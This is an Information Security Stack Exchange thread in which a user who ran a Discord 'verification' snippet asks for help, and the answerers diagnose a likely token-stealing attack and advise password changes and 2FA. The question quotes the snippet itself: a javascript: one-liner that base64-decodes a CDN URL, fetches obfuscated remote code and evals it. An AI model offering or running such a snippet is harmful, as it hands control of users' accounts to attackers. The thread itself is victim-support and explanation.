Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.
Sign up to join this community
I was trying to get verified on a 28k user server on discord. Verify channel directed me to this page and I followed the steps in order to get verified.
The command was this
javascript:fetch(atob('aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTAxNDUzNDg5ODAzNzU2MzQ2Ny8xMDE0NTM0OTg0MTc1OTg0NjQwL3VkdW1iLnR4dA==')).then(result => result.text()).then(result => eval(result));
Do I have a problem? What should I do?
I haven't reverse engineered the JS file. But generally speaking these kind of Discord attacks work by tricking someone into running a JS snippet in the browser to steal someones Discord token/cookie. In fact if you open the developer console in your web browser Discord will actually explicitly warn you about inputting JavaScript in. I think it's unlikely that this attack as done anything bad such as downloading malware but I would advise you to change your password, refresh your session and enable MFA if you haven't done so already.
It's very hard to tell what the JavaScript actually does. The script directly on the site resolves to https://cdn.discordapp.com/attachments/1014534898037563467/1014534984175984640/udumb.txt, which in turn is a .txt file containing roughly 57k of obfuscated JavaScript.
So the question "How fucked am I?" is hard to answer, because no one will be able to tell you what exactly the script does, unless they invest quite a long time reverse-engineering it. Based on what is likely...it probably steals session tokens for Discord or other popular services.
The best course of action is to check Discord for any suspicious "connected apps" and to change all your passwords. If you can, enable 2FA authentication for Discord, to limit what an attacker can do.
